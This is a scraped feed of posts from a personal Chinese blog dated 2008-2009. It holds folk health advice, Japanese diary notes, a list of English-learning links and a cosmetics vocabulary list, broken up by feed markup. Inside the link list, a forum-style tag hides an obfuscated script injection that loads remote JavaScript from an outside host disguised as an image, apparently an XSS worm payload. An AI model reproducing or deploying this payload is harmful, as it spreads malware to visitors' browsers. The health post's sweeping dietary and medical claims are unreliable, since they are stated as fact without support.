　　　　阳虚必须摄入大量肉类，虽然之前推荐的都是素菜，但从没有说过要吃素，荤一定要吃，完全吃素对身体很有害。牛羊肉是一定要吃的，这两种肉摄入后，不会产生湿气，脂肪含量也少，能量和铁都含量足够高。
　　　　冬天一定要多吃羊肉，男女都要多吃。羊肉能够大补虚损，补益元气，能治疗肾脏阳虚，温补暖身，能够治疗脾胃虚寒，即虚寒体质要多吃，健胃壮脾，对脾肾都非常有好处。虚劳瘦弱的体质多吃羊肉可以使人强壮。
　　　　
　　　　狗肉也是一样要多吃，补益力气，补脾胃，暖肾脏，强筋健骨，但不宜和杏仁一起服用。还有一味菜补阳，醉虾，就是用酒浸泡活虾服用，可以治疗四肢寒冷，脾肾阳虚。
　　除了以上的四味肉类食物之外，核桃治疗肾虚腰痛，耳鸣，滋补肝肾脏，能够治疗肺虚寒，改善肠道便秘，滋润五脏。长久服用，皮肤细腻光滑，头发乌黑有光泽，延缓衰老。
　　　　
　　　　除了牛羊肉之外，其它的温补阳虚的食物，阴虚火旺体质的人都要少吃。
一位姐妹的LG肾脏炎症，还有一个姐妹内脏下垂严重，这里讲到脾脏的各种症状以及保养的方法对她们来说非常重要，对于身体健康来说，脾脏一旦虚弱，全身九脉皆堵。对于每个想变美的女人来说，脾脏统领血液，是我们美丽的根本。 　脾胃通过经脉相关联，脾胃功能好的人，肌肤一定是滋润，丰腴的。相反的，如果一个人枯瘦，皮肤没有光泽，则脾胃功能不好，所以身体气血不足。脾脏的健康状况也可以从嘴唇的颜色来看，如果是深红色，是内热，如果是浅红色，是虚寒，如果嘴唇皮肤很干燥，是体内津液不足.因为脾脏通过消化食物来造血，所以和女人的月经周期也有关系。它是我们女人的福音，如果你掌握了保养脾脏的方法，你就可以一辈子都不要做黄脸婆，就算是到了五十多岁也一样，脸色不会枯黄。因为不善保养，脾脏失去统血功能之后，皮肤就会干枯发黄，虽然皮肤自然的颜色是黄色，这里的意思是焦黄色。首先是脾气虚，然后再发展成为脾不统血。身体内的元气和脾胃消化的食物一起生产出血液，首先就是要保证正常健康的饮食。
　　　如果你脸色发黄了，就一定要常常吃芋头。紫色的芋头对脾胃最好，造血，统血效果好，能够使皮肤和肌肉润泽丰腴。还有一道食补方，春夏秋冬坚持吃，非常有效，就是菱角，土豆，红豆，山药，茨实，莲子，红枣和大米一起煮熟，这些饭全是补脾脏的，能够造血，逐步改善肤色。 脸色萎黄是从气虚发展而来的，除了情绪，疲劳的因素之外，不吃米饭是最主要的原因。所以，为了能有一个好脸色，每天至少吃两碗米饭。

这些真的都好有用好有用、、、、、大家不妨都试试、、、 ]]> http://504931347.qzone.qq.com/blog/1256829974#comment 1545 Thu, 29 Oct 2009 15:26:14 GMT http://504931347.qzone.qq.com/blog/1256829974 http://504931347.qzone.qq.com/blog/1250309577 Ｂさんーうまく行かなかった時に？
Ａさんーうん。
Ｂさんーうん、、、。うまく行かなかった時、、、。うん、目を瞑ること。
　　　　目を瞑って、自分を好きな自分を思い出す。
　　　　そうすると、ちょっと元気になる。

Ａさんー好きな自分が私には、思い浮かばない。
　　　　もしいたとして、そういつ、今でも私の中にいるんだろうか？

　　　　　　　　　　　　　　「君が好きだ」からの引用。 ]]> http://504931347.qzone.qq.com/blog/1250309577#comment 134218240 Sat, 15 Aug 2009 04:12:57 GMT http://504931347.qzone.qq.com/blog/1250309577 http://504931347.qzone.qq.com/blog/1249697591 昨日のあなたは悩んでたのか、幸せだったのか？(大きな幸せじゃなくても)、
若しもあなたと会うなら、声を掛けて、話し会って、上記のような質問をしたかった。
でも、会うわけがないだよね。
確かに昨日のあなたが疲れる顔がしてたんだね。それでも、大丈夫だよ。
それは充実の一つの証明だ。
いくら疲れていても、ストレスを取ったら、元の自分に戻れるんだ。
いつでもゼロからスタートしようと思ったら、何にも失うと思わないでしょう。


]]> http://504931347.qzone.qq.com/blog/1249697591#comment 134218240 Sat, 08 Aug 2009 02:13:11 GMT http://504931347.qzone.qq.com/blog/1249697591 http://504931347.qzone.qq.com/blog/1249645881 今の私にとって、確かにその夢が難しいだけど、
それでも、頑張っていきたいと考えている、本気で頑張れば、
結果はどうなっていても構わないと思う。
結果はいくら眩しくても、努力の過程は何よりも大事だと思うから、
成功の前にいくら辛くても、自分の力で頑張って続けよう。
｢負けるのが終わらない、諦めるのが終わるんだ｣という言葉を信じている。
だから、夢を諦めなければ、少なくとも、叶う機会が0.1％あるんだ。

以上はめちゃくちゃな気持ちで勝手に書いてるだけだ。
そんなめちゃくちゃな気持ちを整理して、気楽に生きていこうか。。
]]> http://504931347.qzone.qq.com/blog/1249645881#comment 134218240 Fri, 07 Aug 2009 11:51:21 GMT http://504931347.qzone.qq.com/blog/1249645881 http://504931347.qzone.qq.com/blog/1246797534 http://www.texun.cn/addrso/index.htm 特训网：English Learning Websites 2. http://broadcast-live.com/ Live Radio and TV from Around the World 3. http://www.nxenglish.com/voa01_1.aspx VOA Special English Introduction 4. http://www.vocaboly.com/vocabulary-test/ Various Vocabulary Test online
20-40 quick- medium – thorough different levels of test 5. http://www.tomx.com/listen/vocabulary/1402.html VOA Special English Vocabulary 1500 6. http://tv.etshow.net/ ETSHOW 网络电视其次推荐我和同事们一起收集的网址：（特别要强调一点：希望大家对这些资源要取之，学之，用之！因为If you don’t use it, you will lose it!）
adventuretv,提供视频资料，内容多是各地的风土人情，很不错：http://www.adventuretv.com/
纽约时报，网上看新闻的好地方 http://www.nytimes.com/
英文MP3下载的好地方 http://www.mp3raid.com/archive/archive/m/2/
英文剧本下载的好地方 http://huajun.com/juben.htm
一个个人主页，从这里可以在线收听新东方的25盘磁带 http://www.intron.ac/study/toefl.html
英文锁定，每日读图 http://www.icansay.com/index.php?ChannelID=12
英文锁定，综合学习网站，全面的英语教堂 www.icansay.com
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GARFIELD官方网站 www.garfield.com
语法 http://www.dailygrammar.com/
大量的資料﹐非常不錯 http://www.english.ac.cn/
无忧雅思 http://211.147.1.40 ;
雅思的官方网站 http://www.ielts.org/
雅思考试网东西不多 http://www.ieltsnet.net/index.htm
关于雅思的一些资料 http://www.rotolife.com/cgi-bin/newarticle/list.cgi?class=1&type=4 ;
英文电影剧本站专题 提供14部电影英文剧本 http://snowbear.3322.net/spelling/film.htm
提供了24部英文电影剧本 http://www.c2000.com.cn/mov/m4.asp
提供了10部英文电影剧本 http://goldnets.myrice.com/navi/50250.html
子曰电影网的电影剧本下载太多了 http://www.ziyue.com/downloads/s.php?type=s | http://www.21zx.net/movie/m4.htm
银海网 下载电影剧本好多啊 http://www.filmsea.com/download/_index.asp?swzm=a
Screenplay电影剧本 http://www.babelcn.com/ebook/screen/index1.htm
这里的囊括了现在流行电影的剧本 http://www.english.ac.cn/movies/playwright.htm
一个教育网站提供的英文剧本下载 http://www.dreamabroad.net/chinese/html/download/movie_01.html
看电影学英语 http://211.154.143.185/gate/gb/www.chenhen.com/html/english/speech/movie-english.htm
听力专题
一个很不错的英语学习网站，VOA资料很全 http://zflyingbird.myetang.com/index.htm
http://www.quancheng.org/tabwork/catelist.asp?cateid=23 一些VOA新闻的文本
http://www.icanlisten.com/standard_english/index.htm 有一部分听力
http://www.englishabc.net/ae/ 《美国习惯用语 Words & Idiom》是Voice of America推出的免费广播讲座
http://mpfree.org/english/voamain.htm 自由MP3的VOA资料下载不少哦
http://edu.china.com/zh_cn/elearn/second/test/index.html 中华网关于VOA的听力技巧的一些文章，当然也有别的好东东
http://www.cgeng.com/memberarea/listen/listen.asp 很不错的听力网站，有初级中级高级
http://www.22av.net/ 免费的听力新闻，带文本
http://www.xsrtvu.com/jiao/lgs/wangye/VOA1.htm VOA 英语广播收听技巧听VOA的朋友可以看看
http://www.100steps.net/newsshow.php?serial=311&good=％CA％C7 2002年全国硕士研究生入学考试英语听力样题录音下载
http://www.xsrtvu.com/jiao/lgs/wangye/VOA1.htm VOA英语广播收听技巧很不错的技巧文本
http://www.english.ac.cn/listen/index.htm 超酷的英语听力站，也是个老站点了，有如下内容:新概念英语 听力入门 现代文阅读 ESL-Lab分级测试 CNNSF新闻测试 《圣经》在线 ，强烈推荐
http://putclub.6to23.com/ 普特英语听力网站
http://www.oeol.net/ “牛津英语在线” （ Oxford English On line ）
http://www.putclub.com/ 英语新闻听力Put English Club,网站主要由五个部分组成： A. 新闻英语；B. 英语教程；C. 资料下载； D. 科技英语； E. 普特论坛
通用英语百句(视频)*** http://www.ol.com.cn/class/train/english.htm
CNN英语学习资源***** http://literacynet.org/cnnsf/
现代交际英语(视频)**** http://www.gz.supergnet.com/local_content/zhang/edu/index.html[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://504931347.qzone.qq.com/blog/1246797534#comment 520 Sun, 05 Jul 2009 12:38:54 GMT http://504931347.qzone.qq.com/blog/1246797534 http://504931347.qzone.qq.com/blog/1242305343 这是一幅很实用的地图，只要点击城市名称就OK，可精确到街道，商场，银行等。还能够显示自己当前所在位置。还有公交车线路指南。
可以确定地点查找周边，可以输入你要找的具体地名如：湖南大学，平和堂，天坛公园等等。
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注意：如果显示不完全，请耐心等待，下载100%就可以了！右上角有四个方向按钮可以移动地图。
如果觉得空间里画面太小，可以放在网页收藏夹，点F11就能够全屏欣




]]> http://504931347.qzone.qq.com/blog/1242305343#comment 4104 Thu, 14 May 2009 12:49:03 GMT http://504931347.qzone.qq.com/blog/1242305343 http://504931347.qzone.qq.com/blog/1241787080 (提升眼睛魅力的眼部彩装用品)
１アイシャドー　（Eye Shadow） 眼影
２クリーミィ　アイシャドー　（Creamy Eye Shadow）眼彩
３パウダー　アイブロウ　（Powder Eyebrow）眉粉
４アイブロウ　ペンシル　（Eyebrow Pencil）眉笔
５リキッド　アイライナー　（Liquid Eyeliner）眼线液
６カラー　ペンシル　（Color Pencil） 眼彩笔
７アイライナー　ペンシル　（Eyeliner Pencil）眼线笔
二 マスカラ　睫毛膏
もっと長く、もっと濃く、もっと強く！
更纤长,更浓密,更持久！
１ボリューム　マスカラ　浓密型睫毛膏
２ロング　マスカラ 纤长型睫毛膏
３マスカラ　ウォータープルーフ 防水型睫毛膏
４もちよし　マスカラ 持久型睫毛膏
三 フェイスメーク　脸部彩妆

自然彩装的必备单品
１フェイス　パウダー 密粉
２スティックチークス腮红条
３リキッド（リクイド）ファンデーション粉底液
４ベース　クリーム隔离霜
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四 リップスティック唇膏
これがウワサの売れ売れリップ用品情報！！
口碑绝佳的唇部彩妆情报!!
１リップ　モイスト 保湿唇膏　
２ホワイト　コンシール 遮瑕膏
３リップ　グロス 唇蜜
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５リップライナー　ペンシル 唇线笔
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五 メークアップツール化装小工具
これを全部そろえたら、コスメ美人になれるよ！
拥有这些化装小工具之后，可以帮你成为彩妆美人哦!
１マスカラ　ブラッシュ 睫毛刷
２アイブロウ　眉刷
　ブラッシュ　アンド　コーム 眉梳
３アイブロウ　ツィザーズ 眉拔
４アイブロウ　シザーズ 眉剪
５つけまつげ 假睫毛
６アイラッシュ　カーラー 睫毛夹
７部分ビューラー 局部睫毛夹
８パフ 粉扑
９ファンデーション　スポンジ 化装海绵
六 ネイル 指甲油
きれいなネイルメークをしよう！
给你的指甲美容一下吧
１ネイル　カラー　指甲油
２トップ　コート 表层护甲油
３ベース　コート 基础护甲油
ネイルアート指甲彩绘
フレンチネール法式指甲
ネイルチップ 法甲贴片
ラメ入りネイル 亮粉指甲油
七 メーク　リムーバー 卸妆品
毛穴の置くまできれいにメークを落とす！
连毛孔深处的妆都卸除干净
１クレンジング　オイル　　卸妆油
２メーク　クリア　ジェル　　卸妆凝胶
３クレンジング　フォーム　　卸妆泡沫
４アイ　メイク　クレンジング　　眼部卸妆液
八 ベーシック　スキン　ケア
１　ミルク　　乳液
２　ローション 化妆水
３　エッセンス 精华液
４　アイ　ジェル 眼部凝胶
５　アイ　モイスチャー 保湿眼霜
６　アイ　セラム 眼部精华液
九 美容常见单词
一重まぶた　 单眼皮　　　二重まぶた 双眼皮
奥二重　　　 内双　　　　アクネ 粉刺
スポット　　 斑点　　　　ニキビ 痘痘
そばかす　　 雀斑　　　　しわ 皱纹
小じわ　　　 细纹　　　　古い角質 角质老皮
混合肌　　　 混合性肌肤　ドライ肌 干性肌肤
オイリー肌　　油性肌肤　　敏感肌 敏感性肌肤
肌荒れ　　　 皮肤粗糙　　スべすべ 光滑
化粧下地　 底妆　　クマ 黑眼圈
小鼻 鼻翼 毛穴 毛孔
フルーツ酸 果酸 オイルフリー 无油脂
ノーメーク 裸妆 素肌 素肌
くすみ 暗沉 黒ずみ 暗沉物
きめ決めの細かい肌 细嫩的肌肤
みずみずしい 水嫩 しいカサカサ 干燥
ツルツル 光滑 色素沈着 色素沉淀
]]> http://504931347.qzone.qq.com/blog/1241787080#comment 134218248 Fri, 08 May 2009 12:51:20 GMT http://504931347.qzone.qq.com/blog/1241787080 http://504931347.qzone.qq.com/blog/1241782818 ]]> http://504931347.qzone.qq.com/blog/1241782818#comment 4104 Fri, 08 May 2009 11:40:18 GMT http://504931347.qzone.qq.com/blog/1241782818 http://504931347.qzone.qq.com/blog/1224513615 微笑着去唱生活的歌谣

微笑着，去唱生活的歌谣。不要抱怨生活给予了太多的磨难，不必抱怨生命中有太多的曲折。大海如果失去了巨浪的翻滚，就会失去雄浑，沙漠如果失去了飞沙的狂舞，就会失去壮观，人生如果仅去求得两点一线的一帆风顺，生命也就失去了存在的魅力。　　
微笑着，去唱生活的歌谣。把每—次的失败都归结为一次尝试，不去自卑；把每一次的成功都想象成一种幸运，不去自傲。就这样，微笑着弹奏从容的弦乐，去面对挫折，去接受幸福，去品味孤独，去战胜忧伤。
　　微笑着，去唱生活的歌谣。去把“人”字写直写大，活出一种尊严，活出一种力量，不向金钱献媚，不向权势卑躬。清贫，是一首朴素的歌；平凡，是一行亮丽的诗。微笑着，我们去唱去吟，去平静中看红尘飞舞，在孤寂中品世事沉浮。
　　微笑着，去唱生活的歌谣，把尘封的心胸敞开，让狭隘自私淡去；把自由的心灵放飞，让豁达宽容回归。这样，一个豁然开朗的世界就会在你的眼前层层叠叠打开：蓝天，白云，小桥，流水……潇洒快活地一路过去，鲜花的芳香就会在你的鼻边醉人地萦绕，华丽的彩蝶就会在你身边曼妙地起舞。
　　微笑着，去唱生活的歌谣。眼泪，要为别人的悲伤而流；仁慈，要为善良的心灵而发；同情，给予不幸的朋友；关怀，温暖鳏寡孤独的凄凉。微笑着的我们，要用微笑的力量，去关照周围，去感化周围，去影响周围，直到每一个的脸上都挂起一片不落的灿烂笑容。
　　是的，就这样，让我们微笑着面对生活带给我们的一切。 ]]> http://504931347.qzone.qq.com/blog/1224513615#comment 134218240 Mon, 20 Oct 2008 14:40:15 GMT http://504931347.qzone.qq.com/blog/1224513615